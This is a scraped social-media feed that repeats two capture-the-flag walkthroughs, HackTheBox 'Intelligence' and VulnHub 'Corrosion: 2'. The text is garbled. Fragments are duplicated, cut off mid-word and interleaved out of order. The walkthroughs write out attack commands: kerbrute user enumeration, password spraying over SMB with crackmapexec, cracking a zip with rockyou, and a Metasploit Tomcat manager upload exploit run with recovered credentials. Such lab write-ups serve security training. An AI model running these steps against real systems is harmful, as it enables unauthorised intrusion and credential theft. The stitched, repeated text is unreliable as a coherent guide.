Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles
Intelligence HacktheBox Walkthrough
IntroductionIntelligence is a CTF Windows box with difficulty rated as “medium” on the HackTheBox platform. The machine covers OSINT, AD attacks, and silver ticket for privilege escalation. Table of ContentNetwork Scanning
* Nmap
Enumeration
* Directory enumeration to find PDFs
* Extracting usernames from PDF’s exif
* Hunting password in PDF and SMB login to extract info on a 5 min recurring powershell script
* Adding DNS record to catch NTLM hash
* NTHASH of the GMSA svc_int$
Exploitation
* Obtaining TGT
Privilege Escalation
* Performing silver ticket attack
Let’s deep dive into this. Network ScanningThe dedicated IP address of the machine is 10.129.163.131. We’ll run a nmap scan on this machine’s IP.
nmap -sV -p- 10.129.163.131
We found many ports open; 53 – DNS, 80 – HTTP and 445- SMB caught our eye.
https://blogger.googleusercontent.com/img/a/AVvXsEgpjXmGQYtUk8Kfq63dNwzi4ziDf0U26ybqpXj-aJCncP7w7oItnkNuwt3b4W7UWEGRmeOHjEN-s88ZD3AkGg2DCNY1EL1286jsCOwq4e-Ymj_tUhzUiSXrBS0Rit_MoLlLxqj8gvtHEI6KMT6CRgRqere5CtBwVJeIISVmwsfItg92AkxK_HSpgtKGHw=s16000 EnumerationImmediately headed over to SMB and tried listing shares without password but it was not fruitful.
https://blogger.googleusercontent.com/img/a/AVvXsEitekGdMuvxki4z22ff02j3fH66N12v4tNqO5GrSsgamrlEHMrxZHOq4PBdi1IPX-hdQgBAZk14ZQyOaAQQEo0ntd_XGNcvNeJJPlXcyHOl7flbA8KMbu_rdhbpVczD7Y2lttkwou4DO3ZXasA9mXE70rJSWOtP6uHXEKHuKIYZBENwZl-Dq4pqQebB6Q=s16000
We then immediately headed over to the website and saw various PDFs available to download.
https://blogger.googleusercontent.com/img/a/AVvXsEg44dLrUisEOrC98nwQRUHYJtgrEc6SpPlxcDsTy84oXO5-QwpmVrx7XILM834RiSWnZrO1JRRqPe-IUad9k4Yv8gC4tt2DO6f5iuJQ9woPTN4Yn6QDflL-DWRwYCW0wViR-opm6uaVbSO5_UR8OLjPasiq8Ag1Kiw8CMYMPgBzReof2GGVz89o-r5qIQ=s16000
We then downloaded these PDFs which had some written material. Upon checking their exif we saw the author’s names that could be actual users on the Active Directory on the server.
https://blogger.googleusercontent.com/img/a/AVvXsEh1WI1b2dRk1C6S6RPEwwN4XVOQZMFhr3r4LDm68WA6FLxjrDpIvap0d9dXtQRPK-w6d9-f7BWNVEk0GFLuHSjkRTzQXgZVjYcHnstluDQKL-MwJ6-WEsF63JWkQ_E1unkKhTKOynK3UsFoN2YvqzUQMGoBR0viZiM_8wYzNoEbPwp5uCVLcxdcad6k8Q=s16000
To verify the existence of these users we copy them into a file and use kerberute’s userenum function
echo "Jose.Williams" > usernames
echo "William.Lee" >> usernames
kerberute userenum -d intelligence.htb --dc 10.129.163.131 usernames
https://blogger.googleusercontent.com/img/a/AVvXsEiW3-vTUXNT7QxIt0ldDUCA8sf3A1Q9odxDNR8uqOismwFJ-0Q4fYD2IPGE3imiSeHpIoo060qlcMSniVh3ZgiczAcNQK-u6xqDVhEfuISF63a-QkNlDr43988yPS1Jh9sRPvxpv6I12RtxlhVVxzqVicyLU5BTkm5v82duwDhpVucgBsqTj9W9xlhDSw=s16000
Now that the validity of these users has been confirmed, lets look if there are any more PDFs on the /documents directory on the server.
https://blogger.googleusercontent.com/img/a/AVvXsEjVzRkL9Zdlb9jAoCUch8LVImhHFcngpzG3BJZu4VoipXIjTMsIDSoRLprv8-aJn_2dvALatw1D7OFDlri7_AqRls9PQyWf19v0b4H5ZMwgBPJdBT9-x3fprcvHXMf6KCGtY3kKRdzf3NamaIIT5WjEhUL5DZt4u77BUbgzyrda1WVAsYAC0O2EQ1rK-Q=s16000
Since we don’t have access to view the directory, we can fuzz the file names of the PDFs and try to check their existence. See the PDF downloaded above, they are in the format YYYY-MM-DD, so I designed a script to generate these dates and then append “-upload.pdf” at the end of it.
#!/bin/bash
start=2020-01-01
end=2022-01-01
while ! [[ $start > $end ]]; do
echo $start
start=$(date -d "$start + 1 day" +%F)
done
./fuzz_date.sh > datelist.txt
cat datelist.txt | head -n 3
sed -i s/$/-upload.pdf/ datelist.txt
cat datelist.txt | head -n 3
https://blogger.googleusercontent.com/img/a/AVvXsEj8olU21VloAYHYWWKhilaEO66jofrIKJClp-cycChTevCzjnNnZEFcs4DXxsbYkWRlMe5ekk5nVxHIFH7iACtlJ[...]
___________________________
@hacking_Attack
@Hacking_Video
Intelligence HacktheBox Walkthrough
IntroductionIntelligence is a CTF Windows box with difficulty rated as “medium” on the HackTheBox platform. The machine covers OSINT, AD attacks, and silver ticket for privilege escalation. Table of ContentNetwork Scanning
* Nmap
Enumeration
* Directory enumeration to find PDFs
* Extracting usernames from PDF’s exif
* Hunting password in PDF and SMB login to extract info on a 5 min recurring powershell script
* Adding DNS record to catch NTLM hash
* NTHASH of the GMSA svc_int$
Exploitation
* Obtaining TGT
Privilege Escalation
* Performing silver ticket attack
Let’s deep dive into this. Network ScanningThe dedicated IP address of the machine is 10.129.163.131. We’ll run a nmap scan on this machine’s IP.
nmap -sV -p- 10.129.163.131
We found many ports open; 53 – DNS, 80 – HTTP and 445- SMB caught our eye.
https://blogger.googleusercontent.com/img/a/AVvXsEgpjXmGQYtUk8Kfq63dNwzi4ziDf0U26ybqpXj-aJCncP7w7oItnkNuwt3b4W7UWEGRmeOHjEN-s88ZD3AkGg2DCNY1EL1286jsCOwq4e-Ymj_tUhzUiSXrBS0Rit_MoLlLxqj8gvtHEI6KMT6CRgRqere5CtBwVJeIISVmwsfItg92AkxK_HSpgtKGHw=s16000 EnumerationImmediately headed over to SMB and tried listing shares without password but it was not fruitful.
https://blogger.googleusercontent.com/img/a/AVvXsEitekGdMuvxki4z22ff02j3fH66N12v4tNqO5GrSsgamrlEHMrxZHOq4PBdi1IPX-hdQgBAZk14ZQyOaAQQEo0ntd_XGNcvNeJJPlXcyHOl7flbA8KMbu_rdhbpVczD7Y2lttkwou4DO3ZXasA9mXE70rJSWOtP6uHXEKHuKIYZBENwZl-Dq4pqQebB6Q=s16000
We then immediately headed over to the website and saw various PDFs available to download.
https://blogger.googleusercontent.com/img/a/AVvXsEg44dLrUisEOrC98nwQRUHYJtgrEc6SpPlxcDsTy84oXO5-QwpmVrx7XILM834RiSWnZrO1JRRqPe-IUad9k4Yv8gC4tt2DO6f5iuJQ9woPTN4Yn6QDflL-DWRwYCW0wViR-opm6uaVbSO5_UR8OLjPasiq8Ag1Kiw8CMYMPgBzReof2GGVz89o-r5qIQ=s16000
We then downloaded these PDFs which had some written material. Upon checking their exif we saw the author’s names that could be actual users on the Active Directory on the server.
https://blogger.googleusercontent.com/img/a/AVvXsEh1WI1b2dRk1C6S6RPEwwN4XVOQZMFhr3r4LDm68WA6FLxjrDpIvap0d9dXtQRPK-w6d9-f7BWNVEk0GFLuHSjkRTzQXgZVjYcHnstluDQKL-MwJ6-WEsF63JWkQ_E1unkKhTKOynK3UsFoN2YvqzUQMGoBR0viZiM_8wYzNoEbPwp5uCVLcxdcad6k8Q=s16000
To verify the existence of these users we copy them into a file and use kerberute’s userenum function
echo "Jose.Williams" > usernames
echo "William.Lee" >> usernames
kerberute userenum -d intelligence.htb --dc 10.129.163.131 usernames
https://blogger.googleusercontent.com/img/a/AVvXsEiW3-vTUXNT7QxIt0ldDUCA8sf3A1Q9odxDNR8uqOismwFJ-0Q4fYD2IPGE3imiSeHpIoo060qlcMSniVh3ZgiczAcNQK-u6xqDVhEfuISF63a-QkNlDr43988yPS1Jh9sRPvxpv6I12RtxlhVVxzqVicyLU5BTkm5v82duwDhpVucgBsqTj9W9xlhDSw=s16000
Now that the validity of these users has been confirmed, lets look if there are any more PDFs on the /documents directory on the server.
https://blogger.googleusercontent.com/img/a/AVvXsEjVzRkL9Zdlb9jAoCUch8LVImhHFcngpzG3BJZu4VoipXIjTMsIDSoRLprv8-aJn_2dvALatw1D7OFDlri7_AqRls9PQyWf19v0b4H5ZMwgBPJdBT9-x3fprcvHXMf6KCGtY3kKRdzf3NamaIIT5WjEhUL5DZt4u77BUbgzyrda1WVAsYAC0O2EQ1rK-Q=s16000
Since we don’t have access to view the directory, we can fuzz the file names of the PDFs and try to check their existence. See the PDF downloaded above, they are in the format YYYY-MM-DD, so I designed a script to generate these dates and then append “-upload.pdf” at the end of it.
#!/bin/bash
start=2020-01-01
end=2022-01-01
while ! [[ $start > $end ]]; do
echo $start
start=$(date -d "$start + 1 day" +%F)
done
./fuzz_date.sh > datelist.txt
cat datelist.txt | head -n 3
sed -i s/$/-upload.pdf/ datelist.txt
cat datelist.txt | head -n 3
https://blogger.googleusercontent.com/img/a/AVvXsEj8olU21VloAYHYWWKhilaEO66jofrIKJClp-cycChTevCzjnNnZEFcs4DXxsbYkWRlMe5ekk5nVxHIFH7iACtlJ[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles
Intelligence HacktheBox Walkthrough - Hacking Articles
Introduction Intelligence is a CTF Windows box with difficulty rated as “medium” on the HackTheBox platform. The machine covers OSINT, AD attacks, and silver ticket
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles
Corrosion: 2 VulnHub Walkthrough
Proxy Programmer’s Corrosion: 2 is a Vulnhub medium machine. We can download the lab from here. This lab is designed for experienced CTF players who want to put their abilities to the test in a variety of situations. So, let’s get started and see how we can split things down into smaller chunks. Pentest MethodologyNetwork Scanning
* netdiscover
* nmap
Enumeration
* dirb
* fcrackzip
Exploitation
* Metasploit
* /etc/shadow
* john
Privilege Escalation
* ssh
* python library hijacking
* root flag
Level: Medium Network Scanning To begin, we must use the netdiscover command to scan the network for the target machine’s IP address.
netdiscover
The victim’s IP address, in this case, is 192.168.1.186.
https://blogger.googleusercontent.com/img/a/AVvXsEjKk1onqg5P0J4wEqrg4ux3lc7rb9UtC8vfivCFdfsIWyQXZff-DFJXiAORTaqsqwTmPZx5nrd9hBDaiG3hPTZ8UFT3Oo0RiIRfuOfWgD2BKtHHR0Nq0fhaqvPcvHjkVgcuaxTZ0q2wAxEeFURQo61PqzudWaID_Dqm0hlbX52eIZ8HGqFFGPxoRxSOug=s16000
We’re going to use Nmap to help us move this process along. To see all of the services stated, we need to know which ones are now available.
nmap -sV 192.168.1.186
According to the nmap output, we have:
* An SSH server is available on port 22.
* On port 80, there is an HTTP service (Apache Server).
* On port 8080, a Tomcat server is running on port 8080.
https://blogger.googleusercontent.com/img/a/AVvXsEjFUCr4h9LxT6BnsA6tAhdUYzdpcVrnUI9dMyHNW65zRm6Odv3JxSeuXttNbWqmF_7wS7PFdHxEd7LJet4JxN_W-1gzH5KvwK_B_l-iy_kPEuy7tdCbx7jj2d3zwAEuGZbHCpC1uyk_tWVxUoDYloT-ssTtryBPvXfFzWJHHfN-N65fZLvmdnLxAySTOw=s16000 EnumerationLet’s begin by looking at the http service on port 80. There’s nothing strange about that; it’s just an Apache server page.
https://blogger.googleusercontent.com/img/a/AVvXsEj54r-dtA2Td_EreVBny2CnBsqg297VfT88nOhnFmg8CJirwXme8CkHlvtf9Q6mfDTbMAkajh6wNryxyw_eEE6fZTz2rHTC6GOHQ56AnElwXg3auNh8NBw4u7vPpmGpSVx_MstpZgd0WfPykQ0niRWjC7TBGkyyuEw9Z03lW15eJarU_B1iAT74Ikt0cg=s16000
Next, we looked at the Tomcat server, which was listening on port 8080. It’s a straightforward page with nothing suspicious on it.
https://blogger.googleusercontent.com/img/a/AVvXsEh3LcjmoRYHLidzX4MvSY4eMlxzhe02gpg_pLtCWnvdQ2B12kObNphP-JASceSs5iQVxle417G3m2XQBJ6gL_wvhxl4_rOI5tRlsgBlvqbxMFYEG87n9UePZtLcuwhlcAOkwPOFpX8gGCBQ7_1f7fk5wv-HVRJBSFWXJumH-YgbHhN0tfzINefS2mzFyg=s16000
We discovered nothing harmful on websites. So, to continue further in this experiment, we use the dirb directory brute force method to find some knowledge. Smash!! We discovered a directory containing a backup zip file.
dirb http://192.168.1.186:8080/ -X .php,.zip
https://blogger.googleusercontent.com/img/a/AVvXsEivYUcRnvTmVMoAefYSQDiTk8ObWNULLNYpj3evT59FuIoO39u2GOqtfpypZ8-jv676-H0X2UxmF7EgkYr3MtNPplBZlwye3F405YGP522yoZPMV0x8462KI5de3jiyiEMLwb5LE-fmhvMc_sq28uA_qki39HqOKIXOofn_eiFBICTC08GFWfSYJQVQlA=s16000
The backup zip file is then downloaded using the wget command. Following that, we attempted to study this file, but it was password protected.
wget http://192.168.1.186:8080/backup.zip
unzip backup.zip
https://blogger.googleusercontent.com/img/a/AVvXsEgM1XNQw9_EzbADCJTb-wlaBJEoQisGsd3EeAY1cBkKj1i2ajrzdytKfXAruWt_CGAiN5V69FQ86WmEUwrxmxDhIZhwn1X9ky52RWBf2PUa_MvNsnLb_9TExlMPwc-g19QJI6Ized9Hg9DVa_MWHLr2yjWk8xWWWCHDYVH4f6t0alPwsRoQ3-qR3SjJDQ=s16000
Next, we’ll use the fcrackzip utility to crack this password. It is a lightweight, open-source zip file password cracker. The rockyou word-list is used for the brute force attack. Boom!! We cracked its password in a matter of seconds (@administrator_hi5).
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zip
Then we use this password to unzip the backup zip file. We attempt to inspect each and every file contained in this backup zip file. We are now inspecting the t[...]
___________________________
@hacking_Attack
@Hacking_Video
Corrosion: 2 VulnHub Walkthrough
Proxy Programmer’s Corrosion: 2 is a Vulnhub medium machine. We can download the lab from here. This lab is designed for experienced CTF players who want to put their abilities to the test in a variety of situations. So, let’s get started and see how we can split things down into smaller chunks. Pentest MethodologyNetwork Scanning
* netdiscover
* nmap
Enumeration
* dirb
* fcrackzip
Exploitation
* Metasploit
* /etc/shadow
* john
Privilege Escalation
* ssh
* python library hijacking
* root flag
Level: Medium Network Scanning To begin, we must use the netdiscover command to scan the network for the target machine’s IP address.
netdiscover
The victim’s IP address, in this case, is 192.168.1.186.
https://blogger.googleusercontent.com/img/a/AVvXsEjKk1onqg5P0J4wEqrg4ux3lc7rb9UtC8vfivCFdfsIWyQXZff-DFJXiAORTaqsqwTmPZx5nrd9hBDaiG3hPTZ8UFT3Oo0RiIRfuOfWgD2BKtHHR0Nq0fhaqvPcvHjkVgcuaxTZ0q2wAxEeFURQo61PqzudWaID_Dqm0hlbX52eIZ8HGqFFGPxoRxSOug=s16000
We’re going to use Nmap to help us move this process along. To see all of the services stated, we need to know which ones are now available.
nmap -sV 192.168.1.186
According to the nmap output, we have:
* An SSH server is available on port 22.
* On port 80, there is an HTTP service (Apache Server).
* On port 8080, a Tomcat server is running on port 8080.
https://blogger.googleusercontent.com/img/a/AVvXsEjFUCr4h9LxT6BnsA6tAhdUYzdpcVrnUI9dMyHNW65zRm6Odv3JxSeuXttNbWqmF_7wS7PFdHxEd7LJet4JxN_W-1gzH5KvwK_B_l-iy_kPEuy7tdCbx7jj2d3zwAEuGZbHCpC1uyk_tWVxUoDYloT-ssTtryBPvXfFzWJHHfN-N65fZLvmdnLxAySTOw=s16000 EnumerationLet’s begin by looking at the http service on port 80. There’s nothing strange about that; it’s just an Apache server page.
https://blogger.googleusercontent.com/img/a/AVvXsEj54r-dtA2Td_EreVBny2CnBsqg297VfT88nOhnFmg8CJirwXme8CkHlvtf9Q6mfDTbMAkajh6wNryxyw_eEE6fZTz2rHTC6GOHQ56AnElwXg3auNh8NBw4u7vPpmGpSVx_MstpZgd0WfPykQ0niRWjC7TBGkyyuEw9Z03lW15eJarU_B1iAT74Ikt0cg=s16000
Next, we looked at the Tomcat server, which was listening on port 8080. It’s a straightforward page with nothing suspicious on it.
https://blogger.googleusercontent.com/img/a/AVvXsEh3LcjmoRYHLidzX4MvSY4eMlxzhe02gpg_pLtCWnvdQ2B12kObNphP-JASceSs5iQVxle417G3m2XQBJ6gL_wvhxl4_rOI5tRlsgBlvqbxMFYEG87n9UePZtLcuwhlcAOkwPOFpX8gGCBQ7_1f7fk5wv-HVRJBSFWXJumH-YgbHhN0tfzINefS2mzFyg=s16000
We discovered nothing harmful on websites. So, to continue further in this experiment, we use the dirb directory brute force method to find some knowledge. Smash!! We discovered a directory containing a backup zip file.
dirb http://192.168.1.186:8080/ -X .php,.zip
https://blogger.googleusercontent.com/img/a/AVvXsEivYUcRnvTmVMoAefYSQDiTk8ObWNULLNYpj3evT59FuIoO39u2GOqtfpypZ8-jv676-H0X2UxmF7EgkYr3MtNPplBZlwye3F405YGP522yoZPMV0x8462KI5de3jiyiEMLwb5LE-fmhvMc_sq28uA_qki39HqOKIXOofn_eiFBICTC08GFWfSYJQVQlA=s16000
The backup zip file is then downloaded using the wget command. Following that, we attempted to study this file, but it was password protected.
wget http://192.168.1.186:8080/backup.zip
unzip backup.zip
https://blogger.googleusercontent.com/img/a/AVvXsEgM1XNQw9_EzbADCJTb-wlaBJEoQisGsd3EeAY1cBkKj1i2ajrzdytKfXAruWt_CGAiN5V69FQ86WmEUwrxmxDhIZhwn1X9ky52RWBf2PUa_MvNsnLb_9TExlMPwc-g19QJI6Ized9Hg9DVa_MWHLr2yjWk8xWWWCHDYVH4f6t0alPwsRoQ3-qR3SjJDQ=s16000
Next, we’ll use the fcrackzip utility to crack this password. It is a lightweight, open-source zip file password cracker. The rockyou word-list is used for the brute force attack. Boom!! We cracked its password in a matter of seconds (@administrator_hi5).
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zip
Then we use this password to unzip the backup zip file. We attempt to inspect each and every file contained in this backup zip file. We are now inspecting the t[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles
Corrosion: 2 VulnHub Walkthrough
Corrosion 2 VulnHub guide: Exploit file upload vulnerability for initial shell, then escalate to root using SUID binary misconfig.
Hacking Articles Tips Tricks Videos Tutorials
Hacking Articles Intelligence HacktheBox Walkthrough IntroductionIntelligence is a CTF Windows box with difficulty rated as “medium” on the HackTheBox platform. The machine covers OSINT, AD attacks, and silver ticket for privilege escalation. Table of ContentNetwork…
4aj3KnmbV8BH7vbOzk2Tdu6YPkBqAphHTW4pNGjV6gDWStx48DqJziQKP_SseZ07r9Q35qx0OT1mQ278P-uAcUCtrtbqgOzAu_eqw=s16000
Now that we have a text file ready, we need to fuzz it using DIRB and save the existing PDFs in a file called existing.txt
dirb http://10.129.163.131/documents/ datelist.txt -o existing.txt
https://blogger.googleusercontent.com/img/a/AVvXsEg_C73dHZN_mPZEBfyZUAFECXcFQDfE3PEfGybuXjylvN-Lahc0NYfZAEfVP8rb9yYVLsi_tHrlIJk6QcCM9yUQsq7l_Xu5f9sSNyvXnoVYw7xC51h9o9BSzQylrZ2yNiUrLPYOm1DVswWWWKT6RZFiM6qgzt4vY6ZX7RsmKlAveaHk67fXMOywRuZDHA=s16000
Now that we have found that many other PDFs exist on the server, and copied their absolute paths into a text file, we need to edit this file quickly so that one URL comes in one line. This will be used later.
sed 's/[^ ]* //' existing.txt > 2.txt
sed 's/\s.*$//' 2.txt > 3.txt
cat 3.txt | head -n 4
rm existing.txt 2.txt && mv 3.txt existing.txt
https://blogger.googleusercontent.com/img/a/AVvXsEhGuC-Zv3lkwV0lnrdpdZlYeiu3sNVAMM0sKG81sZujXejJwf2I3jrmaFf8dKZ9mlQRcXObjBcysEV5t9fwAtwNNYwMYjocP2wFyXjwG54T0tStxSj-mwk762-dCwwE1Hv-kfLAP-qfDhUMtVLN9RL35_wNaKo5y0LEHVyMNLHdHBlqcl38-1wPWY7eKw=s16000
Now, we can download all the PDFs at once (mass download) using wget like
wget -i /home/kali/hackthebox/intelligence/existing.txt
https://blogger.googleusercontent.com/img/a/AVvXsEi5idukVC7mDgv7lSvPpCZp16ANekoygfOlWOShkSt5X8hXOGxZBQj55NoLLj_6uzzwREXHVGWvX4Eo94SmpbCfckB8_AWZscLzkxCRQ9gXuLeFPbR_NAbsjMZJqVr0ailzLwwq_0_-ptSqpMwGDUxQmBpVt3Tetk4ccc7QE6EoxEbiuKQJl7k9imLT5Q=s16000
Now, I went through the files one by one and found a password in one of the PDFs
https://blogger.googleusercontent.com/img/a/AVvXsEhRAAZSWVkkI_5vKfYlw0WCyAvS9MqZ8NGlcXsfpGdM2K-j7BvfaDAdIrER8tcjbLUA9btrQYm-n6bI7Z8Jg6_ynnddNbsWuoAa9996TsOW45B8MErQ4CRdxDPhCj7YPJnxHbYr3zAeZMSfMkqazm5L5CH6dtaAtIZR08phLK9wbsriE3mJkVxN2fn98Q=s16000
But this password did not belong to the two users we had found earlier. So, we looked around and found many other users are being revealed through exif. Hence, we looked at all of the PDF’s exif, saved the username in a file so that each user is in a separate line.
echo "NewIntelligenceCorpUser9876" > password.txt
exiftool *.pdf | grep Creator > u1.txt
sed 's/.*://' u1.txt > u2.txt
sed 's/[^ ]* //' u2.txt > u3.txt
rm u1.txt u2.txt
https://blogger.googleusercontent.com/img/a/AVvXsEifayfxDH_uSk7M7XfrA0iFN9ilQZztYCg_3GND9n-zk16JnXZz8rwOUl-RBli3tWF_n-Y6W2C0KA9Z3AvDRGGT288hjbgvGTDSnXLel30mxkPrv4piMioEAE3ibdC0ChDnrB1xDXYaHvc6ZJMIry91kyKjLvSRxVqzEE24Q_3YbY4geKeIRPiHSdb52A=s16000 ExploitationNow, we can use crackmapexec to bruteforce usernames against the found password.
crackmapexec smb 10.129.163.131 -u u3.txt -p NewIntelligenceCorpUser9876
https://blogger.googleusercontent.com/img/a/AVvXsEi2K5NusZismCMGjuYgosMLDBQI24mWowopQNx_Cw06CylCLdqVyypXmVoaJMyuZKNiEbv5ClgR9a7EQUNRMc_9tSlkRjdvbnrrqu8pHrNOqh7GsKCC89eCBMV4JC1b_h5Lby3TuCmUcA98b7EtJh8UMW4x78qAqymMOqP3pIDsD4BNrMcF30BQOfCcDQ=s16000
We did find one valid entry!
User: Tiffany.Molina
https://blogger.googleusercontent.com/img/a/AVvXsEgcxbtlS8xa2irDQ_5u5tqEqXgvFdKpXY8eqSl2775ak9QjzCesjtYpRiQuCWr2rl6h5a2TTxpVFmuIkBF34boiIIfM2crYmK_AFVXdraf3ikHEUegm2HvG5nnU5iCXoUz5-KwOIzBpWw2ShBl8Ap_DvEB7OWgM-macL9KbtxFy5HaNKDn3Jlj9jG44zQ=s16000
Now we tried to list the SMB shares using the obtained credentials.
smbclient -L 10.129.163.131 -U Tiffany.Molina%NewIntelligenceCorpUser9876
https://blogger.googleusercontent.com/img/a/AVvXsEgQe1lCI3wGp4xddALGXfCzzrxqd1nS7PsxD6v0t1alE9wNHoyzS0mcjyZcGmUxjQ9ylzbbpy1Ey2UxIHOaAcSboYMm8V8dGMJkDfo9AfDZf_C7puCjf9Vt2LQVuYohzgmyALCfOlALDYECWlNpTNUNkEWKOt2l0SfHXn8S-Qxv19H8Bu6myUqNBHfFHw=s16000
The share called “IT” had an interesting powershell script called downdetector.ps1. This script was, at 5 minutely intervals, firing out web requests to see if it got an HTTP status 200. It was looking at AD entries where the object name started with ‘web’ and finally sending out a WebRequest.
ht[...]
___________________________
@hacking_Attack
@Hacking_Video
Now that we have a text file ready, we need to fuzz it using DIRB and save the existing PDFs in a file called existing.txt
dirb http://10.129.163.131/documents/ datelist.txt -o existing.txt
https://blogger.googleusercontent.com/img/a/AVvXsEg_C73dHZN_mPZEBfyZUAFECXcFQDfE3PEfGybuXjylvN-Lahc0NYfZAEfVP8rb9yYVLsi_tHrlIJk6QcCM9yUQsq7l_Xu5f9sSNyvXnoVYw7xC51h9o9BSzQylrZ2yNiUrLPYOm1DVswWWWKT6RZFiM6qgzt4vY6ZX7RsmKlAveaHk67fXMOywRuZDHA=s16000
Now that we have found that many other PDFs exist on the server, and copied their absolute paths into a text file, we need to edit this file quickly so that one URL comes in one line. This will be used later.
sed 's/[^ ]* //' existing.txt > 2.txt
sed 's/\s.*$//' 2.txt > 3.txt
cat 3.txt | head -n 4
rm existing.txt 2.txt && mv 3.txt existing.txt
https://blogger.googleusercontent.com/img/a/AVvXsEhGuC-Zv3lkwV0lnrdpdZlYeiu3sNVAMM0sKG81sZujXejJwf2I3jrmaFf8dKZ9mlQRcXObjBcysEV5t9fwAtwNNYwMYjocP2wFyXjwG54T0tStxSj-mwk762-dCwwE1Hv-kfLAP-qfDhUMtVLN9RL35_wNaKo5y0LEHVyMNLHdHBlqcl38-1wPWY7eKw=s16000
Now, we can download all the PDFs at once (mass download) using wget like
wget -i /home/kali/hackthebox/intelligence/existing.txt
https://blogger.googleusercontent.com/img/a/AVvXsEi5idukVC7mDgv7lSvPpCZp16ANekoygfOlWOShkSt5X8hXOGxZBQj55NoLLj_6uzzwREXHVGWvX4Eo94SmpbCfckB8_AWZscLzkxCRQ9gXuLeFPbR_NAbsjMZJqVr0ailzLwwq_0_-ptSqpMwGDUxQmBpVt3Tetk4ccc7QE6EoxEbiuKQJl7k9imLT5Q=s16000
Now, I went through the files one by one and found a password in one of the PDFs
https://blogger.googleusercontent.com/img/a/AVvXsEhRAAZSWVkkI_5vKfYlw0WCyAvS9MqZ8NGlcXsfpGdM2K-j7BvfaDAdIrER8tcjbLUA9btrQYm-n6bI7Z8Jg6_ynnddNbsWuoAa9996TsOW45B8MErQ4CRdxDPhCj7YPJnxHbYr3zAeZMSfMkqazm5L5CH6dtaAtIZR08phLK9wbsriE3mJkVxN2fn98Q=s16000
But this password did not belong to the two users we had found earlier. So, we looked around and found many other users are being revealed through exif. Hence, we looked at all of the PDF’s exif, saved the username in a file so that each user is in a separate line.
echo "NewIntelligenceCorpUser9876" > password.txt
exiftool *.pdf | grep Creator > u1.txt
sed 's/.*://' u1.txt > u2.txt
sed 's/[^ ]* //' u2.txt > u3.txt
rm u1.txt u2.txt
https://blogger.googleusercontent.com/img/a/AVvXsEifayfxDH_uSk7M7XfrA0iFN9ilQZztYCg_3GND9n-zk16JnXZz8rwOUl-RBli3tWF_n-Y6W2C0KA9Z3AvDRGGT288hjbgvGTDSnXLel30mxkPrv4piMioEAE3ibdC0ChDnrB1xDXYaHvc6ZJMIry91kyKjLvSRxVqzEE24Q_3YbY4geKeIRPiHSdb52A=s16000 ExploitationNow, we can use crackmapexec to bruteforce usernames against the found password.
crackmapexec smb 10.129.163.131 -u u3.txt -p NewIntelligenceCorpUser9876
https://blogger.googleusercontent.com/img/a/AVvXsEi2K5NusZismCMGjuYgosMLDBQI24mWowopQNx_Cw06CylCLdqVyypXmVoaJMyuZKNiEbv5ClgR9a7EQUNRMc_9tSlkRjdvbnrrqu8pHrNOqh7GsKCC89eCBMV4JC1b_h5Lby3TuCmUcA98b7EtJh8UMW4x78qAqymMOqP3pIDsD4BNrMcF30BQOfCcDQ=s16000
We did find one valid entry!
User: Tiffany.Molina
https://blogger.googleusercontent.com/img/a/AVvXsEgcxbtlS8xa2irDQ_5u5tqEqXgvFdKpXY8eqSl2775ak9QjzCesjtYpRiQuCWr2rl6h5a2TTxpVFmuIkBF34boiIIfM2crYmK_AFVXdraf3ikHEUegm2HvG5nnU5iCXoUz5-KwOIzBpWw2ShBl8Ap_DvEB7OWgM-macL9KbtxFy5HaNKDn3Jlj9jG44zQ=s16000
Now we tried to list the SMB shares using the obtained credentials.
smbclient -L 10.129.163.131 -U Tiffany.Molina%NewIntelligenceCorpUser9876
https://blogger.googleusercontent.com/img/a/AVvXsEgQe1lCI3wGp4xddALGXfCzzrxqd1nS7PsxD6v0t1alE9wNHoyzS0mcjyZcGmUxjQ9ylzbbpy1Ey2UxIHOaAcSboYMm8V8dGMJkDfo9AfDZf_C7puCjf9Vt2LQVuYohzgmyALCfOlALDYECWlNpTNUNkEWKOt2l0SfHXn8S-Qxv19H8Bu6myUqNBHfFHw=s16000
The share called “IT” had an interesting powershell script called downdetector.ps1. This script was, at 5 minutely intervals, firing out web requests to see if it got an HTTP status 200. It was looking at AD entries where the object name started with ‘web’ and finally sending out a WebRequest.
ht[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Hacking Articles Corrosion: 2 VulnHub Walkthrough Proxy Programmer’s Corrosion: 2 is a Vulnhub medium machine. We can download the lab from here. This lab is designed for experienced CTF players who want to put their abilities to the test in a variety of…
omcat users xml file.
unzip backup.zip
cat tomcat-users.xml
https://blogger.googleusercontent.com/img/a/AVvXsEi9oeyicwDyWMaMCXtq8RGEi-3zD-Socl4-ycbU3avaccjVA8ORsboGgevbnVkWiGfk8NMoIDJaGIpRbwjJ7z-EmNjqn1kD8gJB1e3C0M8UpKEdNYlkSQRr7gkWHQrk0Ms1BO2Nb0BlfHaws77hoHjEk6jp_2_MxRDffc-EyaLM7oJJ1aUNf9wBDpwB0w=s16000
Bam!! We discovered user admin and password melehifokivai credentials.
https://blogger.googleusercontent.com/img/a/AVvXsEiztI5WuE5M1_Sta3tZ4waTHkdHBo0_OI1dj7bTeRexWODqUoJdjAPSScZzecjTDPV6Ku2cn9ut9fN3WL2z2m3WpU-xebq5qyTgwz_VrW2-L9U5NthHKHVmT-exmHL0iyXK-nwbJ4RDFBt2gLPDiVVAjO8v5xdyl4sQV_c66rTZ_10MplcGLch38Pji7g=s16000 ExploitationNow that we have the credentials, we can begin exploiting them using a Metasploit. In these instances, employing a Tomcat exploit is the best option. Then give us all the information we need to use it, and we’re ready to go. As you can see, we had a meterpreter session.
use exploit/multi/http/tomcat_mgr_upload
set rhosts 192.168.1.186
set rport 8080
set httpusername admin
set httppassword melehifokivai
exploit
